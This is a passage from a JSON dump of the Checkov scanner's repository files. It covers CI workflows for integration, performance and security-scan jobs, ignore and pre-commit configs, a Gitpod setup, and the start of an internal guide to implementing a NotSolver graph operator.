pytest-xdist setuptools wheel\n          pipenv run python setup.py sdist bdist_wheel\n          bash -c 'pipenv run pip install dist/checkov-*.whl'\n      - name: Clone flask - Python repo for SAST\n        run: git clone https://github.com/pallets/flask\n      - name: Clone WebGoat - Java repo for SAST\n        run: git clone https://github.com/WebGoat/WebGoat\n      - name: Clone axios - JavaScript repo for SAST\n        run: git clone https://github.com/axios/axios\n      - name: Create checkov reports\n        env:\n          LOG_LEVEL: INFO\n          BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n        if: env.BC_API_KEY != null\n        run: bash -c './sast_integration_tests/prepare_data.sh'\n      - name: Run integration tests\n        env:\n          LOG_LEVEL: INFO\n          BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n        if: env.BC_API_KEY != null\n        run: |\n          pipenv run pytest sast_integration_tests\n\n  sast-integration-tests-old-python:\n    strategy:\n      fail-fast: true\n      matrix:\n        python: [\"3.9\"]\n        os: [ubuntu-latest]\n    runs-on: ${{ matrix.os }}\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ matrix.python }}\n          allow-prereleases: true\n          cache: \"pipenv\"\n          cache-dependency-path: \"Pipfile.lock\"\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Build & install checkov package\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ matrix.python }}\n          pipenv run pip install pytest pytest-xdist setuptools wheel\n          pipenv run python setup.py sdist bdist_wheel\n          bash -c 'pipenv run pip install dist/checkov-*.whl'\n      - name: Clone flask - Python repo for SAST\n        run: git clone https://github.com/pallets/flask\n      - name: Clone WebGoat - Java repo for SAST\n        run: git clone https://github.com/WebGoat/WebGoat\n      - name: Clone axios - JavaScript repo for SAST\n        run: git clone https://github.com/axios/axios\n      - name: Create checkov reports\n        env:\n          LOG_LEVEL: INFO\n          BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n        if: env.BC_API_KEY != null\n        run: bash -c './sast_integration_tests/prepare_data.sh'\n      - name: Run integration tests\n        env:\n          LOG_LEVEL: INFO\n          BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n        if: env.BC_API_KEY != null\n        run: |\n          pipenv run pytest sast_integration_tests\n\n  cdk-integration-tests:\n    strategy:\n      fail-fast: true\n      matrix:\n        python: [\"3.12\", \"3.13\"]\n        os: [ubuntu-latest, macos-latest]\n    runs-on: ${{ matrix.os }}\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ matrix.python }}\n          allow-prereleases: true\n          cache: \"pipenv\"\n          cache-dependency-path: \"Pipfile.lock\"\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Build & install checkov package\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ matrix.python }}\n          pipenv run pip install pytest pytest-xdist setuptools wheel\n          pipenv run python setup.py sdist bdist_wheel\n          bash -c 'pipenv run pip install dist/checkov-*.whl'\n      - name: Create checkov reports\n        env:\n          LOG_LEVEL: INFO\n          BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n        if: env.BC_API_KEY != null\n        run: bash -c './cdk_integration_tests/prepare_data.sh'\n      - name: Run integration tests\n        env:\n          LOG_LEVEL: INFO\n          BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n        if: env.BC_API_KEY != null\n        run: |\n          pipenv run pytest cdk_integration_tests\n\n  cdk-integration-tests-old-python:\n    strategy:\n      fail-fast: true\n      matrix:\n        python: [\"3.9\"]\n        os: [ubuntu-latest]\n    runs-on: ${{ matrix.os }}\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ matrix.python }}\n          allow-prereleases: true\n          cache: \"pipenv\"\n          cache-dependency-path: \"Pipfile.lock\"\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Build & install checkov package\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ matrix.python }}\n          pipenv run pip install pytest pytest-xdist setuptools wheel\n          pipenv run python setup.py sdist bdist_wheel\n          bash -c 'pipenv run pip install dist/checkov-*.whl'\n      - name: Create checkov reports\n        env:\n          LOG_LEVEL: INFO\n          BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n        if: env.BC_API_KEY != null\n        run: bash -c './cdk_integration_tests/prepare_data.sh'\n      - name: Run integration tests\n        env:\n          LOG_LEVEL: INFO\n          BC_API_KEY: ${{ secrets.PRISMA_KEY_API2 }}\n          PRISMA_API_URL: ${{ secrets.PRISMA_API_URL_2 }}\n        if: env.BC_API_KEY != null\n        run: |\n          pipenv run pytest cdk_integration_tests\n\n  performance-tests:\n    env:\n      PYTHON_VERSION: \"3.9\"\n      working-directory: ./performance_tests\n    runs-on: [self-hosted, public, linux, x64]\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ env.PYTHON_VERSION }}\n          cache: \"pipenv\"\n          cache-dependency-path: \"Pipfile.lock\"\n      - uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e  # v4\n      - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78  # v3\n        with:\n          token: ${{ secrets.GITHUB_TOKEN }}\n      - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1  # v2\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n      - name: Build & install checkov package\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ env.PYTHON_VERSION }}\n          # 'py' package is used in 'pytest-benchmark', but 'pytest' removed it in their latest version\n          pipenv run pip install pytest pytest-benchmark py\n          pipenv run python setup.py sdist bdist_wheel\n          bash -c 'pipenv run pip install dist/checkov-*.whl'\n      - name: Clone terraform-aws-components\n        run: git clone --branch 0.182.0 https://github.com/cloudposse/terraform-aws-components.git\n        working-directory: ${{ env.working-directory }}\n      - name: Clone aws-cloudformation-templates\n        run: git clone --branch 0.0.1 https://github.com/awslabs/aws-cloudformation-templates.git\n        working-directory: ${{ env.working-directory }}\n      - name: Clone kubernetes-yaml-templates\n        run: git clone https://github.com/dennyzhang/kubernetes-yaml-templates.git\n        working-directory: ${{ env.working-directory }}\n# TODO: migrate to separate performance tests\n#      - name: Clone Python-Mini-Projects\n#        run: git clone https://github.com/alimoustafa2000/Python-Mini-Projects.git\n#        working-directory: ${{ env.working-directory }}\n#      - name: Clone NodeJs\n#        run: git clone https://github.com/harshitbansal373/NodeJs.git\n#        working-directory: ${{ env.working-directory }}\n#      - name: Clone Mini-Project-using-Java\n#        run: git clone https://github.com/ikanurfitriani/Mini-Project-using-Java.git\n#        working-directory: ${{ env.working-directory }}\n      - name: Run performance tests\n        run: |\n          pipenv run pytest\n        working-directory: ${{ env.working-directory }}\n\n  dogfood-tests:\n    runs-on: ubuntu-latest\n    env:\n      PYTHON_VERSION: \"3.9\"\n      WORKING_DIRECTORY: ./dogfood_tests\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n      - uses: actions/setup-python@39cd14951b08e74b54015e9e001cdefcf80e669f  # v4\n        with:\n          python-version: ${{ env.PYTHON_VERSION }}\n          cache: \"pipenv\"\n          cache-dependency-path: \"Pipfile.lock\"\n      - uses: azure/setup-helm@5119fcb9089d432beecbf79bb2c7915207344b78  # v3\n        with:\n          token: ${{ secrets.GITHUB_TOKEN }}\n      - uses: imranismail/setup-kustomize@a76db1c6419124d51470b1e388c4b29476f495f1  # v2\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n      - name: Install pipenv\n        run: |\n          python -m pip install --no-cache-dir --upgrade pipenv\n\n      - name: Build & install checkov package\n        run: |\n          # remove venv, if exists\n          pipenv --rm || true\n          pipenv --python ${{ env.PYTHON_VERSION }}\n          pipenv run pip install pytest pytest-xdist\n          pipenv run python setup.py sdist bdist_wheel\n          bash -c 'pipenv run pip install dist/checkov-*.whl'\n      - name: Run dogfood tests\n        run: |\n          pipenv run pytest\n        working-directory: ${{ env.WORKING_DIRECTORY }}\n\n  eval-keys-test:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Check out repository\n        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n\n      - name: Get changed Python files\n        id: changed-files\n        uses: tj-actions/changed-files@ed68ef82c095e0d48ec87eccea555d944a631a4c # v44\n        with:\n          files: checkov/**/*.py\n\n      - name: Validate 'BaseResourceCheck' use contains eval keys\n        if: steps.changed-files.outputs.any_changed == 'true'\n        run: |\n          # Define an array of exceptions (files to skip)\n          EXCEPTIONS=(\n            \"base_resource_check.py\" \n            \"VPCDefaultNetwork.py\"\n            \"IAMUserNotUsedForAccess.py\"  # Whole Resource type check\n          )\n          \n          echo \"Changed files:\"\n          echo \"${{ steps.changed-files.outputs.all_changed_files }}\"\n          \n          EXIT_CODE=0\n          IFS=$'\\n'  # Change Internal Field Separator to handle spaces in filenames too\n          for file in $(echo \"${{ steps.changed-files.outputs.all_changed_files }}\" | tr ',' '\\n'); do\n            # Check if the file is in the list of exceptions\n            SKIP_FILE=\"false\"\n            for exception in \"${EXCEPTIONS[@]}\"; do\n              # If the file ends with one of the exception file names, skip it\n              if [[ \"$file\" == *\"$exception\" ]]; then\n                echo \"Skipping $file (allowed exception)\"\n                SKIP_FILE=\"true\"\n                break\n              fi\n            done\n          \n            # Only run checks if not in exceptions list\n            if [[ \"$SKIP_FILE\" == \"false\" ]]; then\n              # If file contains 'BaseResourceCheck', check for 'get_inspected_key' or 'evaluated_keys'\n              if grep -q \"BaseResourceCheck\" \"$file\"; then\n                if ! grep -q \"get_inspected_key\" \"$file\" && ! grep -q \"evaluated_keys\" \"$file\"; then\n                  echo \"ERROR: $file has BaseResourceCheck but does NOT contain 'get_inspected_key' or 'evaluated_keys'\"\n                  EXIT_CODE=1\n                fi\n              fi\n            fi\n          done\n          unset IFS  # Restore IFS to default\n          \n          # Fail the job if any file violated the rule\n          if [ \"$EXIT_CODE\" -ne 0 ]; then\n            echo \"One or more files did not satisfy the requirement.\"\n            exit 1\n          fi\n"
  },
  {
    "path": ".github/workflows/pr-title.yml",
    "content": "name: PR Title\n\non:\n  pull_request:\n    branches:\n      - main\n    types: [opened, edited, reopened, synchronize]\n\npermissions:\n  contents: read\n\njobs:\n  validate:\n    runs-on: [self-hosted, public, linux, x64]\n    permissions:\n      contents: write\n    steps:\n      - uses: thehanimo/pr-title-checker@7fbfe05602bdd86f926d3fb3bccb6f3aed43bc70  # v1\n        with:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n          configuration_path: \".github/pr-title-checker-config.json\"\n"
  },
  {
    "path": ".github/workflows/security-shared.yml",
    "content": "# !!! Important !!!\n# This a reusable workflow and is used in the PR and push to main branch flow separately\n# to be able to protect it behind a manual approval in the PR flow\n\nname: security-shared\n\non:\n  workflow_call:\n\npermissions:\n  contents: read\n\njobs:\n  bandit:\n    runs-on: [self-hosted, public, linux, x64]\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}\n      - name: security test\n        uses: jpetrucciani/bandit-check@74c5ecc4297e374c7e9283bc81f649287bb14f34  # v1\n        with:\n          path: 'checkov'\n  trufflehog-secrets:\n    runs-on: [self-hosted, public, linux, x64]\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}\n      - name: detect secrets\n        uses: edplato/trufflehog-actions-scan@0af17d9dd1410283f740eb76b0b8f6b696cadefc  # v0.9\n        with:\n          scanArguments: \"--regex --entropy=False --exclude_paths .github/exclude-patterns.txt --max_depth=1\"\n  checkov-secrets:\n    runs-on: [self-hosted, public, linux, x64]\n    steps:\n      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v3\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}\n      - name: Scan for secrets\n        uses: bridgecrewio/checkov-action@master  # use latest and greatest\n        with:\n          api-key: ${{ secrets.PRISMA_KEY_API2 }}\n          prisma-api-url: ${{ secrets.PRISMA_API_URL_2 }}\n          config_file: .github/checkov.yaml\n"
  },
  {
    "path": ".github/workflows/security.yml",
    "content": "# !!! Important !!!\n# any change to this workflow will not take into effect on the same PR and only after,\n# because of security implications from target 'pull_request_target'\n\nname: security\n\non:\n  pull_request_target:  # this is needed to use the API key in a PR\n    branches:\n      - main\n\npermissions:\n  contents: read\n\njobs:\n  start-security-scan:\n    runs-on: ubuntu-latest\n    environment: scan-security\n    steps:\n      - run: echo start security scan  # just needs a simple step to better control the follow-up jobs\n  security:\n    needs: start-security-scan\n    uses: ./.github/workflows/security-shared.yml\n    secrets: inherit\n"
  },
  {
    "path": ".gitignore",
    "content": "# Created by .ignore support plugin (hsz.mobi)\n### Python template\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n*__pycache__/\n\n# Python tests residuals\ntests/sca_package_2/examples/obj*\n\n# Terraform\n*.tfstate*\n*.terraform*\n*.tfbackend\n\n# git\n*.orig\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nenv/\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\n.vscode/\n*.egg-info/\n.installed.cfg\n*.egg\n.DS_Store\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*,cover\n.hypothesis/\n.external_modules/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# IPython Notebook\n.ipynb_checkpoints\n\n# pyenv\n.python-version\n\n# celery beat schedule file\ncelerybeat-schedule\n\n# dotenv\n.env\n\n# virtualenv\nvenv/\nENV/\n\n# Spyder project settings\n.spyderproject\n\n# Rope project settings\n.ropeproject\n### VirtualEnv template\n# Virtualenv\n# http://iamzed.com/2009/05/07/a-primer-on-virtualenv/\n[Ii]nclude\n[Ll]ib\n[Ll]ib64\n[Ll]ocal\n[Ss]cripts\npyvenv.cfg\n.venv\npip-selfcheck.json\n### JetBrains template\n# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and Webstorm\n# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839\n\n# User-specific stuff:\n.idea/workspace.xml\n.idea/tasks.xml\n.idea/dictionaries\n.idea/vcs.xml\n.idea/jsLibraryMappings.xml\n\n# Sensitive or high-churn files:\n.idea/dataSources.ids\n.idea/dataSources.xml\n.idea/dataSources.local.xml\n.idea/sqlDataSources.xml\n.idea/dynamic.xml\n.idea/uiDesigner.xml\n\n# Gradle:\n.idea/gradle.xml\n.idea/libraries\n\n# Mongo Explorer plugin:\n.idea/mongoSettings.xml\n\n.idea/\n\n## File-based project format:\n*.iws\n\n## Plugin-specific files:\n\n# IntelliJ\n/out/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\ncrashlytics.properties\ncrashlytics-build.properties\nfabric.properties\n\n# Checkov baseline file\n.checkov.baseline\n\n# pytest-benchmarks output directory\n.benchmarks/\n\n# test assets that get created locally (20* refers to the start of a date, so this covers us for 78 years)\ntests/20*\n# vim\n.*.sw?\n.vim/\n.vimspector.json\n!tests/terraform/graph/variable_rendering/test_resources/tfvar_module_variables/modules/instance\ntests/common/runner_registry/packages_csv_results/\ntests/console\n\n# sast go mod\ncheckov/sast_core/vendor\n\n*.prof\n"
  },
  {
    "path": ".gitmodules",
    "content": "[submodule \"checkov/sast/sast_core\"]\n\tpath = checkov/sast/sast_core\n\turl = git@github.com:bridgecrewio/SAST-Core.git\n"
  },
  {
    "path": ".gitpod.Dockerfile",
    "content": "FROM gitpod/workspace-python\nRUN pyenv install 3.10.14\nRUN wget -q -O get_kustomize.sh https://raw.githubusercontent.com/kubernetes-sigs/kustomize/master/hack/install_kustomize.sh; \\\n chmod 700 get_kustomize.sh; \\\n mkdir -p /usr/local/bin; \\\n sudo sh -c './get_kustomize.sh 4.5.2 /usr/local/bin'; \\\n rm ./get_kustomize.sh\n"
  },
  {
    "path": ".gitpod.yml",
    "content": "# This configuration file was automatically generated by Gitpod.\n# Please adjust to your needs (see https://www.gitpod.io/docs/config-gitpod-file)\n# and commit this file to your remote git repository to share the goodness with others.\n\ntasks:\n  - name: Pipenv Environment And Dev\n    init: |\n      pipenv sync --dev\n      pipenv run python -m coverage run -m pytest tests\n\nimage:\n  file: .gitpod.Dockerfile\n\ngithub:\n  prebuilds:\n    # enable for the master/default branch (defaults to true)\n    master: true\n    # enable for all branches in this repo (defaults to false)\n    branches: true\n    # enable for pull requests coming from this repo (defaults to true)\n    pullRequests: true\n    # enable for pull requests coming from forks (defaults to false)\n    pullRequestsFromForks: true\n    # add a \"Review in Gitpod\" button as a comment to pull requests (defaults to true)\n    addComment: true\n    # add a \"Review in Gitpod\" button to pull requests (defaults to false)\n    addBadge: false\n    # add a label once the prebuild is ready to pull requests (defaults to false)\n    addLabel: prebuilt-in-gitpod\n"
  },
  {
    "path": ".pre-commit-config.yaml",
    "content": "repos:\n  - repo: https://github.com/pre-commit/pre-commit-hooks\n    rev: v4.5.0\n    hooks:\n      - id: debug-statements\n  - repo: https://github.com/PyCQA/flake8\n    rev: 6.1.0\n    hooks:\n      - id: flake8\n        language_version: python3.9\n        additional_dependencies:\n          - dlint\n          - flake8-bugbear\n          - flake8-type-checking\n  - repo: https://github.com/isidentical/teyit  # unit test formatter\n    rev: 0.4.3\n    hooks:\n      - id: teyit\n        language_version: python3.9\n  - repo: https://github.com/rhysd/actionlint\n    rev: v1.6.26\n    hooks:\n      - id: actionlint-docker\n        # SC2129 - Consider using { cmd1; cmd2; } >> file instead of individual redirects.\n        args: [\"-ignore\", \"SC2129\"]\n  - repo: https://github.com/Madoshakalaka/pipenv-setup  # Pipfile to setup.py sync checker\n    rev: v3.2.0\n    hooks:\n      - id: pipenv-setup\n        language_version: python3.9\n        entry: pipenv-setup check\n        args: []\n        additional_dependencies:\n          - vistir<0.7.0  # can be removed, when v4.0.0 of pipenv-setup comes out\n          - plette<1.0.0  # Solve issue of import error for plette.models\n  - repo: https://github.com/seddonym/import-linter  # checks the import dependencies between each other\n    rev: v1.12.1\n    hooks:\n      - id: import-linter\n        language_version: python3.9\n        args: [\"--show-timings\"]\n"
  },
  {
    "path": ".pre-commit-hooks.yaml",
    "content": "---\n\n# For use with pre-commit.\n# See usage instructions at http://pre-commit.com\n\n-   id: checkov\n    name: Checkov\n    description: This hook runs checkov.\n    entry: checkov -d .\n    language: python\n    pass_filenames: false\n    always_run: false\n    files: \\.tf$\n    exclude: \\.+.terraform\\/.*$\n    require_serial: true\n\n-   id: checkov_container\n    name: Checkov\n    description: This hook runs checkov.\n    entry: --tty bridgecrew/checkov:latest -d .\n    args: []\n    language: docker_image\n    pass_filenames: false\n    always_run: false\n    files: \\.tf$\n    exclude: \\.+.terraform\\/.*$\n    require_serial: true\n\n-   id: checkov_diff\n    name: Checkov Diff\n    description: This hook runs checkov against all changed files.\n    entry: checkov --enable-secret-scan-all-files\n    args: [\"-f\"] # required and must come last\n    language: python\n    require_serial: true\n\n-   id: checkov_diff_container\n    name: Checkov Diff\n    description: This hook runs checkov against all changed files.\n    entry: --tty bridgecrew/checkov:latest --enable-secret-scan-all-files\n    args: [\"-f\"] # required and must come last\n    language: docker_image\n    require_serial: true\n\n-   id: checkov_secrets\n    name: Checkov Secrets\n    description: This hook looks for secrets with checkov.\n    entry: checkov --framework secrets --enable-secret-scan-all-files\n    args: [\"-f\"] # required and must come last\n    language: python\n    always_run: true\n    require_serial: true\n\n-   id: checkov_secrets_container\n    name: Checkov Secrets\n    description: This hook looks for secrets with checkov.\n    entry: --tty bridgecrew/checkov:latest --framework secrets --enable-secret-scan-all-files\n    args: [\"-f\"] # required and must come last\n    language: docker_image\n    always_run: true\n    require_serial: true\n"
  },
  {
    "path": ".swm/creating-a-solver.gm0ti.sw.md",
    "content": "---\nid: gm0ti\nname: Creating a Solver\nfile_version: 1.0.2\napp_version: 0.9.4-0\nfile_blobs:\n  checkov/common/checks_infra/solvers/complex_solvers/not_solver.py: 60e9301de2a35a51b0464babaf537104d82cf00a\n  checkov/common/checks_infra/checks_parser.py: 50130edc6639275b43dbd287572972b826eee687\n  checkov/common/checks_infra/solvers/complex_solvers/__init__.py: 2e25b8e1f51406fe5e2995019eb6046fdf3650f2\n  checkov/common/graph/checks_infra/solvers/base_solver.py: e84d471f6fc2e8ef12d82fa061784c57a7915d5c\n  checkov/common/checks_infra/solvers/complex_solvers/base_complex_solver.py: 186dd8805259132d32936fafc19c389d452869c4\n  checkov/common/checks_infra/solvers/connections_solvers/or_connection_solver.py: 38df2db8112768f7ee10facc3feac82b84affc32\n  checkov/common/checks_infra/solvers/attribute_solvers/any_attribute_solver.py: 5aa38478ce1174ea46d2cff94ec52358e8595369\n  checkov/common/checks_infra/solvers/attribute_solvers/not_contains_attribute_solver.py: 0d44d643a7ba2f1fc78fa86ad53b46c47e546ee1\n  checkov/common/checks_infra/solvers/attribute_solvers/not_ending_with_attribute_solver.py: 334cc79488dc5f5f52e3d66ef9b24e3ad89f1e99\n---\n\nA Solver is a major component in our system. This document will describe what it is and how to add a new one.\n\nA Solver is a graph operator that impelements a certain piece of logic, such as AttributeEquals, GreaterThan, Exists and more. There are also more complext solvers such as the `And` solver which implement logic between two or more solvers\n\nWhen we add a new Solver, we create a class that inherits from `BaseSolver`[<sup id=\"2wxET6\">↓</sup>](#f-2wxET6).\n\nSome examples of `BaseSolver`[<sup id=\"2wxET6\">↓</sup>](#f-2wxET6)s are `OrConnectionSolver`[<sup id=\"Z1oapTp\">↓</sup>](#f-Z1oapTp), `AnyResourceSolver`[<sup id=\"Z7ghIg\">↓</sup>](#f-Z7ghIg), `NotContainsAttributeSolver`[<sup id=\"Z136myH\">↓</sup>](#f-Z136myH), and `NotEndingWithAttributeSolver`[<sup id=\"923Qq\">↓</sup>](#f-923Qq). Note: some of these examples inherit indirectly from `BaseSolver`[<sup id=\"2wxET6\">↓</sup>](#f-2wxET6).\n\n> **NOTE: Inherit from** `BaseComplexSolver`[<sup id=\"10523X\">↓</sup>](#f-10523X)\n> \n> Most `BaseSolver`[<sup id=\"2wxET6\">↓</sup>](#f-2wxET6)s inherit directly from `BaseComplexSolver`[<sup id=\"10523X\">↓</sup>](#f-10523X) and almost none inherit directly from `BaseSolver`[<sup id=\"2wxET6\">↓</sup>](#f-2wxET6). In this document we demonstrate inheriting from `BaseComplexSolver`[<sup id=\"10523X\">↓</sup>](#f-10523X).\n\n## TL;DR - How to Add a `BaseComplexSolver`[<sup id=\"10523X\">↓</sup>](#f-10523X)\n\n1.  Create a new class inheriting from `BaseComplexSolver`[<sup id=\"10523X\">↓</sup>](#f-10523X) \n    \n    *   Place the file under `📄 checkov/common/checks_infra/solvers/complex_solvers`, e.g. `NotSolver`[<sup id=\"Z2wW09R\">↓</sup>](#f-Z2wW09R) is defined in `📄 checkov/common/checks_infra/solvers/complex_solvers/not_solver.py`.\n        \n2.  Define `operator`[<sup id=\"Z1HozjT\">↓</sup>](#f-Z1HozjT).\n    \n3.  Implement `__init__`[<sup id=\"ZDc3b7\">↓</sup>](#f-ZDc3b7), `_get_operation`[<sup id=\"Z1IWbj3\">↓</sup>](#f-Z1IWbj3), and `get_operation`[<sup id=\"I3t5K\">↓</sup>](#f-I3t5K).\n    \n4.  Update `📄 checkov/common/checks_infra/checks_parser.py`.\n    \n5.  Update `📄 checkov/common/checks_infra/solvers/complex_solvers/__init__.py`.\n    \n6.  **Profit** 💰\n    \n\n## Example Walkthrough - `NotSolver`[<sup id=\"Z2wW09R\">↓</sup>](#f-Z2wW09R)\n\nWe'll follow the implementation of `NotSolver`[<sup id=\"Z2wW09R\">↓</sup>](#f-Z2wW09R) for this example.\n\nA `NotSolver`[<sup id=\"Z2wW09R\">↓</sup>](#f-Z2wW09R) is a solver that inverts the logic of the solvers within it\n\n## Steps to Adding a new `BaseComplexSolver`[<sup id=\"10523X\">↓</sup>](#f-10523X)\n\n### 1\\. Inherit from `BaseComplexSolver`[<sup id=\"10523X\">↓</sup>](#f-10523X).\n\nAll `BaseComplexSolver`[<sup id=\"10523X\">↓</sup>](#f-10523X)s are defined in files under `📄 checkov/common/checks_infra/solvers/complex_solvers`.\n\n<br/>\n\nWe first need to define our class in the relevant file, and inherit from `BaseComplexSolver`[<sup id=\"10523X\">↓</sup>](#f-10523X):\n<!-- NOTE-swimm-snippet: the lines below link your snippet to Swimm -->\n### 📄 checkov/common/checks_infra/solvers/complex_solvers/not_solver.py\n```python\n⬜ 5      from checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver\n⬜ 6      \n⬜ 7      \n🟩 8      class NotSolver(BaseComplexSolver):\n⬜ 9          operator = Operators.NOT  # noqa: CCE003  # a static attribute\n⬜ 10     \n⬜ 11         def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None:\n```\n\n<br/>\n\n> **Note**: the class name should end with \"Solver\".\n\n### 2\\. Define `operator`[<sup id=\"Z1HozjT\">↓</sup>](#f-Z1HozjT)\n\n`BaseSolver`[<sup id=\"2wxET6\">↓</sup>](#f-2wxET6)s should define this variable:\n\n*   `operator`[<sup id=\"Z1HozjT\">↓</sup>](#f-Z1HozjT)\n\n<br/>\n\n\n\n<!-- NOTE-swimm-snippet: the lines below link your snippet to Swimm -->\n### 📄 checkov/common/checks_infra/solvers/complex_solvers/not_solver.py\n```python\n⬜ 6      \n⬜ 7      \n⬜ 8      class NotSolver(BaseComplexSolver):\n🟩 9          operator = Operators.NOT  # noqa: CCE003  # a static attribute\n⬜ 10     \n⬜ 11         def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None:\n⬜ 12             if len(solvers) != 1:\n```\n\n<br/>\n\n### 3\\. Implement `__init__`[<sup id=\"ZDc3b7\">↓</sup>](#f-ZDc3b7), `_get_operation`[<sup id=\"Z1IWbj3\">↓</sup>](#f-Z1IWbj3), and `get_operation`[<sup id=\"I3t5K\">↓</sup>](#f-I3t5K)\n\nHere is how we do it for `NotSolver`[<sup id=\"Z2wW09R\">↓</sup>](#f-Z2wW09R):\n\nImplement `__init__`[<sup id=\"ZDc3b7\">↓</sup>](#f-ZDc3b7).\n\n<br/>\n\n\n\n<!-- NOTE-swimm-snippet: the lines below link your snippet to Swimm -->\n### 📄 checkov/common/checks_infra/solvers/complex_solvers/not_solver.py\n```python\n⬜ 8      class NotSolver(BaseComplexSolver):\n⬜ 9          operator = Operators.NOT  # noqa: CCE003  # a static attribute\n⬜ 10     \n🟩 11         def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None:\n🟩 12             if len(solvers) != 1:\n🟩 13                 raise Exception('The \"not\" operator must have exactly one child')\n🟩 14             super().__init__(solvers, resource_types)\n⬜ 15     \n⬜ 16         def _get_operation(self, *args: Any, **kwargs: Any) -> Any:\n⬜ 17             if len(args) != 1:\n```\n\n<br/>\n\n\n\n<!-- NOTE-swimm-snippet: the lines below link your snippet to Swimm -->\n### 📄 checkov/common/checks_infra/solvers/complex_solvers/not_solver.py\n```python\n⬜ 13                 raise Exception('The \"not\" operator must have exactly one child')\n⬜ 14             super().__init__(solvers, resource_types)\n⬜ 15     \n🟩 16         def _get_operation(self, *args: Any, **kwargs: Any) -> Any:\n🟩 17             if len(args) != 1:\n🟩 18                 raise Exception('The \"not\" operator must have exactly one child')\n🟩 19             return not args[0]\n⬜ 20     \n⬜ 21         def get_operation(self, vertex: Dict[str, Any]) -> bool:  # type:ignore[override]\n⬜ 22             return not self.solvers[0].get_operation(vertex)\n```\n\n<br/>\n\n\n\n<!-- NOTE-swimm-snippet: the lines below link your snippet to Swimm -->\n### 📄 